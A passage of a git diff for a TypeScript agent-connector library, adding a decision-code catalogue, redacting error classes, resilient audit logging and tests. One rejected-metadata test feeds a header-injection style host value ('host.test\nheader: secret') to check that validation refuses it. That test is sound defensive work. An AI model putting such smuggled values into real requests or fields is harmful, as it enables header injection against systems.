{}).catch(error => error); +assert.equal(cliStoreError instanceof sdk.ConnectorStoreError, true); +assert.equal(cliStoreError.code, 'STORE_UNAVAILABLE'); +assert.equal(Object.hasOwn(cliStoreError, 'cause'), false); +assert.equal(cliExecutions, 0); assert.equal(CONNECTOR_GRANTS_CONTEXT_KEY, 'breakwater.connectorGrants'); assert.equal( CONNECTOR_EXECUTION_CONTEXT_KEY, @@ -435,6 +526,9 @@ const unauthorized = await invokeConnector(release, {}, { }).catch((error) => error); assert.equal(unauthorized instanceof ConnectorPolicyError, true); assert.equal(unauthorized.policy, 'required-permissions'); +assert.equal(unauthorized.code, 'PERMISSION_PROJECTION_INVALID'); +assert.equal(unauthorized.kind, 'connector-policy'); +assert.equal(unauthorized.retryable, false); const authorizedContext = new RequestContext(); authorizedContext.set(PRINCIPAL_PERMISSIONS_CONTEXT_KEY, { permissions: ['payments.release'], diff --git a/packages/breakwater/src/agent-cli/agent-cli.test.ts b/packages/breakwater/src/agent-cli/agent-cli.test.ts index ba3a5028..eec049b7 100644 --- a/packages/breakwater/src/agent-cli/agent-cli.test.ts +++ b/packages/breakwater/src/agent-cli/agent-cli.test.ts @@ -11,7 +11,9 @@ import { AuditLogger } from '../audit/index.js'; import { CONNECTOR_EXECUTION_CONTEXT_KEY, CONNECTOR_GRANTS_CONTEXT_KEY, + ConnectorEvaluatorError, ConnectorPolicyError, + ConnectorStoreError, connectorManifest, DRY_RUN_CONTEXT_KEY, IDEMPOTENCY_KEY_CONTEXT_KEY, @@ -246,6 +248,114 @@ describe('createCodexConnector', () => { }); describe('agent CLI connector enforcement', () => { + it('preserves custom denial metadata while replacing the CLI reason', async () => { + const audit = new AuditLogger(); + const exec = mockExec(); + const tool = createCodexConnector({ + exec, + requiresApproval: false, + policies: { + audit, + evaluators: [ + { + name: 'custom-quota-name', + evaluate: () => ({ + allowed: false, + reason: 'custom budget exhausted', + code: 'RATE_LIMIT_EXCEEDED', + details: { limit: 3, windowMs: 1_000 }, + }), + }, + ], + }, + }); + const failure = await run(tool, { prompt: 'request' }, makeContext()).catch( + (error: unknown) => error, + ); + expect(failure).toBeInstanceOf(ConnectorPolicyError); + expect(failure).toMatchObject({ + connector: 'agent-cli.codex', + policy: 'custom-quota-name', + kind: 'connector-policy', + code: 'RATE_LIMIT_EXCEEDED', + policyKind: 'rate-limit', + retryable: true, + reason: 'agent CLI connector policy denied execution', + details: { limit: 3, windowMs: 1_000 }, + }); + expect(failure).not.toHaveProperty('cause'); + expect(audit.events()).toEqual([ + expect.objectContaining({ + decisionCode: 'RATE_LIMIT_EXCEEDED', + policyKind: 'rate-limit', + retryable: true, + }), + ]); + expect(exec).not.toHaveBeenCalled(); + }); + + it.each([ + 'rate-limit', + 'idempotency', + ] as const)('preserves a %s store failure code without its private cause', async (store) => { + const audit = new AuditLogger(); + const exec = mockExec(); + const secret = new Error('private-store-cause'); + const tool = createCodexConnector({ + exec, + requiresApproval: false, + ...(store === 'rate-limit' + ? { rateLimit: '1/min' } + : { idempotencyKey: true }), + policies: { + audit, + ...(store === 'rate-limit' + ? { + rateLimitStore: { + increment: async () => { + throw secret; + }, + }, + } + : { + idempotencyKeyMigration: 'legacy-writers-drained' as const, + idempotencyStore: { + get: async () => { + throw secret; + }, + put: async () => {}, + }, + }), + }, + }); + const failure = await run( + tool, + { prompt: 'request' }, + makeContext({ idempotencyKey: 'operation' }), + ).catch((error: unknown) => error); + expect(failure).toBeInstanceOf(ConnectorStoreError); + expect(failure).toMatchObject({ + kind: 'connector-store', + code: 'STORE_UNAVAILABLE', + connector: 'agent-cli.codex', + store, + operation: store === 'rate-limit' ? 'increment' : 'get', + policyKind: 'store', + retryable: true, + }); + expect(failure).not.toHaveProperty('cause'); + expect(errorSurface(failure)).not.toContain('private-store-cause'); + expect(JSON.stringify(audit.events())).not.toContain('private-store-cause'); + expect(audit.events()).toEqual([ + expect.objectContaining({ + decisionCode: 'STORE_UNAVAILABLE', + policyKind: 'store', + retryable: true, + }), + ]); + expect(exec).not.toHaveBeenCalled(); + }); + it('denies without a grant and never spawns (approval-gated by default)', async () => { // #given const exec = mockExec(); @@ -258,6 +368,12 @@ describe('agent CLI connector enforcement', () => { // #then expect(failure).toBeInstanceOf(ConnectorPolicyError); + expect(failure).toMatchObject({ + code: 'APPROVAL_GRANT_MISSING', + kind: 'connector-policy', + policyKind: 'write-permissions', + retryable: false, + }); expect(exec).not.toHaveBeenCalled(); }); @@ -724,7 +840,22 @@ describe('agent CLI private-data boundaries', () => { makeContext(), ).catch((error: unknown) => error); - expect(failure).toMatchObject({ code: 'connector-failed' }); + expect(failure).toBeInstanceOf(ConnectorEvaluatorError); + expect(failure).toMatchObject({ + code: 'EVALUATOR_FAILED', + kind: 'connector-evaluator', + policyKind: 'evaluator', + retryable: false, + policy: 'private-evaluator', + }); + expect(failure).not.toHaveProperty('cause'); + expect(audit.events()).toEqual([ + expect.objectContaining({ + decisionCode: 'EVALUATOR_FAILED', + policyKind: 'evaluator', + retryable: false, + }), + ]); expect(errorSurface(failure)).not.toContain(PRIVATE_PROMPT); expect(errorSurface(failure)).not.toContain(PRIVATE_PROCESS_OUTPUT); expect(JSON.stringify(audit.events())).not.toContain(PRIVATE_PROMPT); diff --git a/packages/breakwater/src/agent-cli/index.ts b/packages/breakwater/src/agent-cli/index.ts index 99da8e0c..cb0cb9d6 100644 --- a/packages/breakwater/src/agent-cli/index.ts +++ b/packages/breakwater/src/agent-cli/index.ts @@ -20,6 +20,11 @@ import { registerSafeAuditError, safeAuditErrorSummary, } from '../audit/safe-error.js'; +import { + ConnectorEvaluatorError, + ConnectorStoreError, + captureConnectorDenialMetadata, +} from '../connector-decision.js'; import type { Connector, ConnectorPolicies } from '../connector-sdk/index.js'; import { ConnectorPolicyError, @@ -585,8 +590,22 @@ export function createAgentCliConnector( error.connector, error.policy, 'agent CLI connector policy denied execution', + captureConnectorDenialMetadata({ + code: error.code, + details: error.details, + }), ); } + if (error instanceof ConnectorStoreError) { + throw new ConnectorStoreError( + error.connector, + error.store, + error.operation, + ); + } + if (error instanceof ConnectorEvaluatorError) { + throw new ConnectorEvaluatorError(error.connector, error.policy); + } throw createAgentCliError('connector-failed', connectorId); } }; diff --git a/packages/breakwater/src/audit/audit.test.ts b/packages/breakwater/src/audit/audit.test.ts index 4b507f7a..5c473412 100644 --- a/packages/breakwater/src/audit/audit.test.ts +++ b/packages/breakwater/src/audit/audit.test.ts @@ -49,6 +49,73 @@ describe('agentAuditDetail', () => { }); describe('AuditLogger', () => { + it.each([ + ['throw', 'throw'], + ['throw', 'reject'], + ['reject', 'throw'], + ['reject', 'reject'], + ] as const)('keeps records when the sink %s and observer %s', async (sinkMode, observerMode) => { + const sinkFailure = new Error('sink failure'); + const observerFailure = new Error('observer failure'); + const observed: Array<{ + error: unknown; + event: AuditEvent; + receiver: unknown; + }> = []; + const audit = new AuditLogger({ + sink: () => { + if (sinkMode === 'throw') throw sinkFailure; + return Promise.reject(sinkFailure); + }, + onSinkError: function (this: unknown, error, event) { + observed.push({ error, event, receiver: this }); + if (observerMode === 'throw') throw observerFailure; + return Promise.reject(observerFailure); + }, + }); + let recorded: AuditEvent | undefined; + expect(() => { + recorded = audit.record({ + actor: null, + action: 'connector.execute', + resource: 'local', + decision: 'allowed', + }); + }).not.toThrow(); + await new Promise((resolve) => setTimeout(resolve, 0)); + expect(recorded).toMatchObject({ decision: 'allowed' }); + expect(audit.events()).toEqual([recorded]); + expect(observed).toEqual([ + { error: sinkFailure, event: recorded, receiver: audit }, + ]); + }); + + it('preserves connector taxonomy in both exported and buffered events', () => { + const exported: AuditEvent[] = []; + const audit = new AuditLogger({ + sink: (event) => { + exported.push(event); + }, + }); + audit.record({ + actor: null, + action: 'connector.execute', + resource: 'example.read', + decision: 'denied', + decisionCode: 'RATE_LIMIT_EXCEEDED', + policyKind: 'rate-limit', + retryable: true, + }); + expect(exported).toEqual([ + expect.objectContaining({ + decisionCode: 'RATE_LIMIT_EXCEEDED', + policyKind: 'rate-limit', + retryable: true, + }), + ]); + expect(audit.events()).toEqual(exported); + }); + it('caps the buffer at maxBuffered, dropping oldest first', () => { // #given const audit = new AuditLogger({ maxBuffered: 2 }); diff --git a/packages/breakwater/src/audit/index.ts b/packages/breakwater/src/audit/index.ts index b8d9c242..07898a4e 100644 --- a/packages/breakwater/src/audit/index.ts +++ b/packages/breakwater/src/audit/index.ts @@ -10,6 +10,10 @@ import type { RequestContext } from '@mastra/core/request-context'; +import type { + ConnectorDecisionCode, + ConnectorPolicyName, +} from '../connector-decision.js'; import type { Actor } from '../rbac/index.js'; /** Request-context key for trusted agent and run correlation fields. */ @@ -125,6 +129,9 @@ export interface AuditEvent { resource: string; /** 'error' = the gate itself failed (evaluator/getActor threw), not a denial. */ decision: 'allowed' | 'denied' | 'error'; + decisionCode?: ConnectorDecisionCode; + retryable?: boolean; + policyKind?: ConnectorPolicyName; /** Human-readable decision or failure reason. */ reason?: string; /** Additional structured fields supplied by the emitting boundary. */ @@ -168,21 +175,23 @@ export class AuditLogger { this.#buffer.splice(0, this.#buffer.length - this.#maxBuffered); } if (this.#sink) { - // Availability over export reliability: a failing sink must not abort - // the agent run. The buffer keeps the event; the error goes to - // onSinkError. try { - const result = this.#sink(stamped); - if (result instanceof Promise) { - result.catch((error: unknown) => this.#onSinkError?.(error, stamped)); - } + Promise.resolve(this.#sink(stamped)).catch((error: unknown) => { + this.#reportSinkError(error, stamped); + }); } catch (error) { - this.#onSinkError?.(error, stamped); + this.#reportSinkError(error, stamped); } } return stamped; } + #reportSinkError(error: unknown, event: AuditEvent): void { + try { + Promise.resolve(this.#onSinkError?.(error, event)).catch(() => {}); + } catch {} + } + /** Return a snapshot of the currently buffered events. */ events(): readonly AuditEvent[] { return [...this.#buffer]; diff --git a/packages/breakwater/src/connector-decision.test.ts b/packages/breakwater/src/connector-decision.test.ts new file mode 100644 index 00000000..e05441ef --- /dev/null +++ b/packages/breakwater/src/connector-decision.test.ts @@ -0,0 +1,554 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { readdirSync, readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { + createSourceFile, + forEachChild, + isNewExpression, + ScriptTarget, +} from 'typescript'; +import { describe, expect, expectTypeOf, it } from 'vitest'; +import { safeAuditErrorSummary } from './audit/safe-error.js'; +import { + CONNECTOR_DECISIONS, + type ConnectorDecisionCode, + type ConnectorDenialMetadata, + ConnectorEvaluatorError, + ConnectorInvocationError, + ConnectorPolicyError, + ConnectorStoreError, + type ConnectorStoreName, + type ConnectorStoreOperation, + ConnectorValidationError, + captureConnectorDenialMetadata, + captureConnectorEvaluatorMetadata, + connectorDecisionRetryable, + connectorErrorDecision, + isConnectorDecisionCode, +} from './connector-decision.js'; + +it('supplies explicit metadata at production policy-error constructor calls', () => { + const sourceRoot = fileURLToPath(new URL('.', import.meta.url)); + const violations: string[] = []; + let constructors = 0; + for (const path of readdirSync(sourceRoot, { + recursive: true, + encoding: 'utf8', + })) { + if (!path.endsWith('.ts') || path.endsWith('.test.ts')) continue; + const file = createSourceFile( + path, + readFileSync(join(sourceRoot, path), 'utf8'), + ScriptTarget.Latest, + true, + ); + const visit = (node: import('typescript').Node): void => { + if ( + isNewExpression(node) && + /(?:^|\.)ConnectorPolicyError$/.test(node.expression.getText(file)) + ) { + constructors++; + if ((node.arguments?.length ?? 0) < 4) { + const location = file.getLineAndCharacterOfPosition( + node.getStart(file), + ); + violations.push(`${path}:${location.line + 1}`); + } + } + forEachChild(node, visit); + }; + visit(file); + } + expect(constructors).toBeGreaterThan(0); + expect(violations).toEqual([]); +}); + +const catalogue = { + CONNECTOR_ALLOWED: ['execution', false], + PERMISSION_GRANTED: ['required-permissions', false], + APPROVAL_GRANTED: ['write-permissions', false], + IDEMPOTENCY_TAKEOVER: ['idempotency', false], + EGRESS_INPUT_INVALID: ['egress-fetch', false], + EGRESS_URL_INVALID: ['egress-fetch', false], + EGRESS_SCHEME_NOT_ALLOWED: ['egress-fetch', false], + EGRESS_HOST_NOT_DECLARED: ['egress-fetch', false], + EGRESS_REDIRECT_URL_INVALID: ['egress-fetch', false], + EGRESS_REDIRECT_SCHEME_NOT_ALLOWED: ['egress-fetch', false], + EGRESS_REDIRECT_HOST_DENIED: ['egress-fetch', false], + EGRESS_REDIRECT_UNVERIFIABLE: ['egress-fetch', false], + EGRESS_REDIRECT_LIMIT_EXCEEDED: ['egress-fetch', false], + EGRESS_REDIRECT_BODY_UNREPLAYABLE: ['egress-fetch', false], + EGRESS_DENIED: ['egress-fetch', false], + EGRESS_HOST_NOT_ALLOWED_BY_ORG: ['network-egress', false], + PERMISSION_PROJECTION_INVALID: ['required-permissions', false], + PERMISSION_MISSING: ['required-permissions', false], + APPROVAL_GRANT_MISSING: ['write-permissions', false], + RATE_LIMIT_EXCEEDED: ['rate-limit', true], + IDEMPOTENCY_KEY_MISSING: ['idempotency', false], + IDEMPOTENCY_CONFLICT: ['idempotency', true], + IDEMPOTENCY_LEGACY_AMBIGUOUS: ['idempotency-key-migration', false], + IDEMPOTENCY_MIGRATION_REQUIRED: ['idempotency-key-migration', false], + DRY_RUN_UNSUPPORTED: ['dry-run', false], + WORKFLOW_SCOPE_MISSING: ['cross-workflow-isolation', false], + CROSS_WORKFLOW_ACCESS_DENIED: ['cross-workflow-isolation', false], + ISOLATION_SCOPE_MISSING: ['tenant-isolation', false], + BACKGROUND_OVERRIDE_DENIED: ['background', false], + BACKGROUND_EXECUTION_DENIED: ['background-execution', false], + EVALUATOR_DENIED: ['evaluator', false], + EVALUATOR_FAILED: ['evaluator', false], + STORE_UNAVAILABLE: ['store', true], + STORE_COMMIT_FAILED: ['store', false], + STORE_RELEASE_FAILED: ['store', false], + CONNECTOR_EXECUTION_FAILED: ['execution', false], + CONNECTOR_INPUT_INVALID: ['validation', false], + CONNECTOR_OUTPUT_INVALID: ['validation', false], + CONNECTOR_UNREGISTERED: ['invocation', false], + CONNECTOR_BOUNDARY_MODIFIED: ['invocation', false], + CONNECTOR_INVOCATION_OPTIONS_INVALID: ['invocation', false], + CONNECTOR_BOUNDARY_UNVERIFIABLE: ['invocation', false], +} as const; + +describe('connector decision catalogue', () => { + it('pins the accepted code, category, and retryability contract', () => { + expect(Object.keys(CONNECTOR_DECISIONS).sort()).toEqual( + Object.keys(catalogue).sort(), + ); + expect(Object.isFrozen(CONNECTOR_DECISIONS)).toBe(true); + for (const [code, [policyKind, retryable]] of Object.entries(catalogue)) { + expect(isConnectorDecisionCode(code)).toBe(true); + if (!isConnectorDecisionCode(code)) throw new Error('unknown test code'); + expect(CONNECTOR_DECISIONS[code]).toEqual({ policyKind, retryable }); + expect(Object.isFrozen(CONNECTOR_DECISIONS[code])).toBe(true); + expect(connectorDecisionRetryable(code)).toBe(retryable); + } + }); + + it('keeps the public reference table executable', () => { + const doc = readFileSync( + new URL('../../../docs/connector-interface.md', import.meta.url), + 'utf8', + ); + const rows = [ + ...doc.matchAll(/^\| `([A-Z_]+)` \|[^\n]*\| (true|false) \|$/gm), + ]; + expect(rows.map((row) => row[1]).sort()).toEqual( + Object.keys(catalogue).sort(), + ); + for (const [, code, retryable] of rows) { + expect(isConnectorDecisionCode(code)).toBe(true); + if (!isConnectorDecisionCode(code)) throw new Error('unknown doc code'); + expect(CONNECTOR_DECISIONS[code].retryable).toBe(retryable === 'true'); + } + }); + + it.each([ + 'constructor', + '__proto__', + 'toString', + '', + 'UNKNOWN', + null, + 42, + ])('rejects an unknown catalogue value %j without a retryable fallback', (value) => { + expect(isConnectorDecisionCode(value)).toBe(false); + expect(() => + connectorDecisionRetryable(value as ConnectorDecisionCode), + ).toThrow('invalid connector decision code'); + }); +}); + +describe('connector denial metadata', () => { + it('preserves legacy policy labels and messages without inferring their code', () => { + const error = new ConnectorPolicyError('publish', 'rate-limit', 'blocked'); + expect(error).toMatchObject({ + name: 'ConnectorPolicyError', + message: 'connector publish denied by rate-limit: blocked', + connector: 'publish', + policy: 'rate-limit', + reason: 'blocked', + kind: 'connector-policy', + code: 'EVALUATOR_DENIED', + policyKind: 'evaluator', + retryable: false, + }); + const renamed = new ConnectorPolicyError( + 'publish', + 'custom-budget', + 'full', + { + code: 'RATE_LIMIT_EXCEEDED', + details: { limit: 10, windowMs: 60_000 }, + }, + ); + expect(renamed).toMatchObject({ + policy: 'custom-budget', + code: 'RATE_LIMIT_EXCEEDED', + policyKind: 'rate-limit', + retryable: true, + }); + }); + + it('detaches and freezes nested permission metadata', () => { + const missing = ['contacts.write']; + const details = { + requiredPermissions: ['contacts.read', 'contacts.write'], + missingPermissions: missing, + permissionPolicyVersion: 'permissions-v7', + }; + const error = new ConnectorPolicyError( + 'publish', + 'permissions', + 'blocked', + { + code: 'PERMISSION_MISSING', + details, + }, + ); + missing.push('secrets.read'); + details.requiredPermissions.length = 0; + details.permissionPolicyVersion = 'changed'; + expect(error.details).toEqual({ + requiredPermissions: ['contacts.read', 'contacts.write'], + missingPermissions: ['contacts.write'], + permissionPolicyVersion: 'permissions-v7', + }); + expect(Object.isFrozen(error.details)).toBe(true); + const metadata = captureConnectorDenialMetadata({ + code: 'PERMISSION_MISSING', + details: error.details, + }); + expect(Object.isFrozen(metadata)).toBe(true); + if (metadata.code !== 'PERMISSION_MISSING') { + throw new Error('permission metadata code changed during capture'); + } + expect(Object.isFrozen(metadata.details?.missingPermissions)).toBe(true); + }); + + it('retains precise details in the typed capture overload', () => { + const captured = captureConnectorDenialMetadata({ + code: 'EGRESS_REDIRECT_HOST_DENIED', + details: { host: 'api.example.com', hop: 1 }, + }); + expectTypeOf(captured.code).toEqualTypeOf<'EGRESS_REDIRECT_HOST_DENIED'>(); + expectTypeOf(captured.details?.host).toEqualTypeOf< + string | null | undefined + >(); + expect(captured.details).toEqual({ host: 'api.example.com', hop: 1 }); + }); + + it.each([ + '', + '[::1]', + '_service.example.com', + '-host.example.com', + '!host.test', + 'foo.', + '%f0%9f%8c%90', + ])('preserves safe parsed host %j without applying declaration grammar', (host) => { + expect( + captureConnectorDenialMetadata({ + code: 'EGRESS_HOST_NOT_DECLARED', + details: { host, hop: 0 }, + }).details, + ).toEqual({ host, hop: 0 }); + }); + + it.each([ + null, + { code: 'UNKNOWN' }, + { code: '__proto__' }, + { code: 'CONNECTOR_ALLOWED' }, + { code: 'STORE_UNAVAILABLE' }, + { code: 'EVALUATOR_FAILED' }, + { code: 'EVALUATOR_DENIED', retryable: true }, + { code: 'EVALUATOR_DENIED', policyKind: 'rate-limit' }, + { code: 'EVALUATOR_DENIED', details: { key: 'secret' } }, + { code: 'RATE_LIMIT_EXCEEDED', details: { limit: -1 } }, + { code: 'RATE_LIMIT_EXCEEDED', details: { windowMs: Number.NaN } }, + { + code: 'EGRESS_HOST_NOT_DECLARED', + details: { host: 'https://x.test/private' }, + }, + { code: 'EGRESS_HOST_NOT_DECLARED', details: { host: 'user@x.test' } }, + { + code: 'EGRESS_HOST_NOT_DECLARED', + details: { host: 'host.test\nheader: secret' }, + }, + { code: 'EGRESS_HOST_NOT_DECLARED', details: { hop: 0.5 } }, + { + code: 'EGRESS_HOST_NOT_DECLARED', + details: { host: 'x.test', url: 'secret' }, + }, + { + code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + details: { declaredHost: '_host.test' }, + }, + { code: 'PERMISSION_MISSING', details: { missingPermissions: ['Secret'] } }, + { + code: 'PERMISSION_MISSING', + details: { permissionPolicyVersion: '\nsecret' }, + }, + { code: 'PERMISSION_MISSING', details: { permissions: ['secrets.read'] } }, + { + code: 'PERMISSION_PROJECTION_INVALID', + details: { missingPermissions: ['secrets.read'] }, + }, + ])('refuses malformed explicit metadata %j', (metadata) => { + expect(() => captureConnectorDenialMetadata(metadata)).toThrow( + 'invalid connector decision metadata', + ); + expect( + () => + new ConnectorPolicyError( + 'publish', + 'custom', + 'blocked', + metadata as ConnectorDenialMetadata, + ), + ).toThrow('invalid connector decision metadata'); + }); + + it('captures legacy and explicitly coded evaluator results', () => { + expect( + captureConnectorEvaluatorMetadata({ allowed: false, reason: 'blocked' }), + ).toEqual({ code: 'EVALUATOR_DENIED' }); + expect( + captureConnectorEvaluatorMetadata({ + allowed: false, + reason: 'blocked', + code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + details: { declaredHost: '*.example.com' }, + }), + ).toEqual({ + code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + details: { declaredHost: '*.example.com' }, + }); + expect( + captureConnectorDenialMetadata({ + code: 'EVALUATOR_DENIED', + details: undefined, + }), + ).toEqual({ code: 'EVALUATOR_DENIED' }); + }); + + it.each([ + null, + [], + { details: undefined }, + { code: undefined }, + { code: 'CONNECTOR_ALLOWED' }, + { code: 'EVALUATOR_DENIED', retryable: false }, + { code: 'EVALUATOR_DENIED', policyKind: 'evaluator' }, + Object.create({ code: 'EVALUATOR_DENIED' }), + Object.defineProperty({}, 'code', { get: () => 'EVALUATOR_DENIED' }), + Object.defineProperty({ code: 'EVALUATOR_DENIED' }, 'details', { + get: () => undefined, + }), + ])('fails instead of falling back for invalid evaluator metadata %j', (value) => { + expect(() => captureConnectorEvaluatorMetadata(value)).toThrow( + 'invalid connector decision metadata', + ); + }); +}); + +describe('authored connector failures', () => { + it.each([ + [ + 'rate-limit', + 'increment', + 'STORE_UNAVAILABLE', + true, + 'connector store unavailable', + ], + [ + 'idempotency', + 'get', + 'STORE_UNAVAILABLE', + true, + 'connector store unavailable', + ], + [ + 'idempotency', + 'inspect', + 'STORE_UNAVAILABLE', + true, + 'connector store unavailable', + ], + [ + 'idempotency', + 'reserve', + 'STORE_UNAVAILABLE', + true, + 'connector store unavailable', + ], + [ + 'idempotency', + 'put', + 'STORE_COMMIT_FAILED', + false, + 'connector store commit failed', + ], + [ + 'idempotency', + 'release', + 'STORE_RELEASE_FAILED', + false, + 'connector store release failed', + ], + ] as const)('classifies %s.%s without exposing its cause', (store, operation, code, retryable, message) => { + const cause = { secret: 'store-token', circular: undefined as unknown }; + cause.circular = cause; + const error = new ConnectorStoreError('publish', store, operation, { + cause, + }); + expect(error).toMatchObject({ + name: 'ConnectorStoreError', + kind: 'connector-store', + connector: 'publish', + store, + operation, + code, + retryable, + message, + policyKind: 'store', + }); + expect(error.cause).toBe(cause); + expect(Object.getOwnPropertyDescriptor(error, 'cause')?.enumerable).toBe( + false, + ); + expect(JSON.stringify(error)).not.toContain('store-token'); + expect(JSON.stringify(safeAuditErrorSummary(error))).not.toContain( + 'store-token', + ); + expect(connectorErrorDecision(error)).toEqual({ + kind: 'connector-store', + code, + policyKind: 'store', + retryable, + details: undefined, + }); + const sanitized = new ConnectorStoreError( + error.connector, + error.store, + error.operation, + ); + expect('cause' in sanitized).toBe(false); + expect(connectorErrorDecision(sanitized)).toEqual( + connectorErrorDecision(error), + ); + }); + + it.each([ + undefined, + null, + 'secret', + 42, + false, + ])('preserves the actual thrown value %j as a native cause', (cause) => { + const store = new ConnectorStoreError( + 'publish', + 'rate-limit', + 'increment', + { cause }, + ); + const evaluator = new ConnectorEvaluatorError('publish', 'renamed', { + cause, + }); + expect(store.cause).toBe(cause); + expect(evaluator.cause).toBe(cause); + expect(evaluator).toMatchObject({ + message: 'connector policy evaluator failed', + code: 'EVALUATOR_FAILED', + kind: 'connector-evaluator', + policyKind: 'evaluator', + policy: 'renamed', + retryable: false, + }); + expect(JSON.stringify(safeAuditErrorSummary(evaluator))).not.toContain( + 'secret', + ); + }); + + it.each([ + ['rate-limit', 'put'], + ['idempotency', 'increment'], + ['custom', 'get'], + ['idempotency', 'unknown'], + ])('rejects impossible store metadata %s.%s', (store, operation) => { + expect( + () => + new ConnectorStoreError( + 'publish', + store as ConnectorStoreName, + operation as ConnectorStoreOperation, + ), + ).toThrow('invalid connector store operation'); + }); + + it.each([ + ['input', 'CONNECTOR_INPUT_INVALID'], + ['output', 'CONNECTOR_OUTPUT_INVALID'], + ] as const)('retains redacted %s validation compatibility', (phase, code) => { + const error = new ConnectorValidationError('publish', phase); + expect(error).toMatchObject({ + name: 'ConnectorValidationError', + kind: 'connector-validation', + phase, + code, + policyKind: 'validation', + retryable: false, + message: 'connector invocation failed validation', + }); + expect('cause' in error).toBe(false); + }); + + it.each([ + 'CONNECTOR_UNREGISTERED', + 'CONNECTOR_BOUNDARY_MODIFIED', + 'CONNECTOR_INVOCATION_OPTIONS_INVALID', + 'CONNECTOR_BOUNDARY_UNVERIFIABLE', + ] as const)('preserves TypeError identity and explicit %s classification', (code) => { + const error = new ConnectorInvocationError( + undefined, + code, + 'existing boundary message', + ); + expect(error).toBeInstanceOf(TypeError); + expect(error).toMatchObject({ + name: 'ConnectorInvocationError', + kind: 'connector-invocation', + code, + policyKind: 'invocation', + retryable: false, + message: 'existing boundary message', + }); + expect('cause' in error).toBe(false); + }); + + it('projects authored instances without accepting structural metadata as authority', () => { + const error = new ConnectorPolicyError( + 'publish', + 'custom', + 'secret-reason', + { code: 'IDEMPOTENCY_CONFLICT' }, + ); + const projected = connectorErrorDecision(error); + expect(projected).toEqual({ + kind: 'connector-policy', + code: 'IDEMPOTENCY_CONFLICT', + policyKind: 'idempotency', + retryable: true, + details: undefined, + }); + expect(Object.isFrozen(projected)).toBe(true); + expect(connectorErrorDecision({ ...error })).toBeUndefined(); + expect(connectorErrorDecision(new Error('secret-reason'))).toBeUndefined(); + expect(connectorErrorDecision(null)).toBeUndefined(); + expect(JSON.stringify(projected)).not.toContain('secret-reason'); + expect(JSON.stringify(safeAuditErrorSummary(error))).not.toContain( + 'secret-reason', + ); + }); +}); diff --git a/packages/breakwater/src/connector-decision.ts b/packages/breakwater/src/connector-decision.ts new file mode 100644 index 00000000..2a365bcb --- /dev/null +++ b/packages/breakwater/src/connector-decision.ts @@ -0,0 +1,537 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { z } from 'zod'; +import { registerSafeAuditError } from './audit/safe-error.js'; +import { + isPermissionIdentifier, + isPrincipalPermissions, +} from './rbac/permission.js'; + +/** Canonical connector policy category, independent of a diagnostic name. */ +export type ConnectorPolicyName = + | 'egress-fetch' + | 'network-egress' + | 'write-permissions' + | 'required-permissions' + | 'rate-limit' + | 'idempotency' + | 'idempotency-key-migration' + | 'cross-workflow-isolation' + | 'tenant-isolation' + | 'background' + | 'background-execution' + | 'dry-run' + | 'evaluator' + | 'store' + | 'validation' + | 'invocation' + | 'execution'; + +function decision( + policyKind: P, + retryable: R, +) { + return Object.freeze({ policyKind, retryable }); +} + +/** Stable classification; retrying preserves the logical operation's identity. */ +export const CONNECTOR_DECISIONS = Object.freeze({ + CONNECTOR_ALLOWED: decision('execution', false), + PERMISSION_GRANTED: decision('required-permissions', false), + APPROVAL_GRANTED: decision('write-permissions', false), + IDEMPOTENCY_TAKEOVER: decision('idempotency', false), + EGRESS_INPUT_INVALID: decision('egress-fetch', false), + EGRESS_URL_INVALID: decision('egress-fetch', false), + EGRESS_SCHEME_NOT_ALLOWED: decision('egress-fetch', false), + EGRESS_HOST_NOT_DECLARED: decision('egress-fetch', false), + EGRESS_REDIRECT_URL_INVALID: decision('egress-fetch', false), + EGRESS_REDIRECT_SCHEME_NOT_ALLOWED: decision('egress-fetch', false), + EGRESS_REDIRECT_HOST_DENIED: decision('egress-fetch', false), + EGRESS_REDIRECT_UNVERIFIABLE: decision('egress-fetch', false), + EGRESS_REDIRECT_LIMIT_EXCEEDED: decision('egress-fetch', false), + EGRESS_REDIRECT_BODY_UNREPLAYABLE: decision('egress-fetch', false), + EGRESS_DENIED: decision('egress-fetch', false), + EGRESS_HOST_NOT_ALLOWED_BY_ORG: decision('network-egress', false), + PERMISSION_PROJECTION_INVALID: decision('required-permissions', false), + PERMISSION_MISSING: decision('required-permissions', false), + APPROVAL_GRANT_MISSING: decision('write-permissions', false), + RATE_LIMIT_EXCEEDED: decision('rate-limit', true), + IDEMPOTENCY_KEY_MISSING: decision('idempotency', false), + IDEMPOTENCY_CONFLICT: decision('idempotency', true), + IDEMPOTENCY_LEGACY_AMBIGUOUS: decision('idempotency-key-migration', false), + IDEMPOTENCY_MIGRATION_REQUIRED: decision('idempotency-key-migration', false), + DRY_RUN_UNSUPPORTED: decision('dry-run', false), + WORKFLOW_SCOPE_MISSING: decision('cross-workflow-isolation', false), + CROSS_WORKFLOW_ACCESS_DENIED: decision('cross-workflow-isolation', false), + ISOLATION_SCOPE_MISSING: decision('tenant-isolation', false), + BACKGROUND_OVERRIDE_DENIED: decision('background', false), + BACKGROUND_EXECUTION_DENIED: decision('background-execution', false), + EVALUATOR_DENIED: decision('evaluator', false), + EVALUATOR_FAILED: decision('evaluator', false), + STORE_UNAVAILABLE: decision('store', true), + STORE_COMMIT_FAILED: decision('store', false), + STORE_RELEASE_FAILED: decision('store', false), + CONNECTOR_EXECUTION_FAILED: decision('execution', false), + CONNECTOR_INPUT_INVALID: decision('validation', false), + CONNECTOR_OUTPUT_INVALID: decision('validation', false), + CONNECTOR_UNREGISTERED: decision('invocation', false), + CONNECTOR_BOUNDARY_MODIFIED: decision('invocation', false), + CONNECTOR_INVOCATION_OPTIONS_INVALID: decision('invocation', false), + CONNECTOR_BOUNDARY_UNVERIFIABLE: decision('invocation', false), +}); + +/** A machine-readable connector decision. */ +export type ConnectorDecisionCode = keyof typeof CONNECTOR_DECISIONS; + +/** Whether a value names an own member of the decision catalogue. */ +export function isConnectorDecisionCode( + value: unknown, +): value is ConnectorDecisionCode { + return typeof value === 'string' && Object.hasOwn(CONNECTOR_DECISIONS, value); +} + +/** Whether the same logical operation may be retried after its condition clears. */ +export function connectorDecisionRetryable( + code: ConnectorDecisionCode, +): boolean { + if (!isConnectorDecisionCode(code)) { + throw new 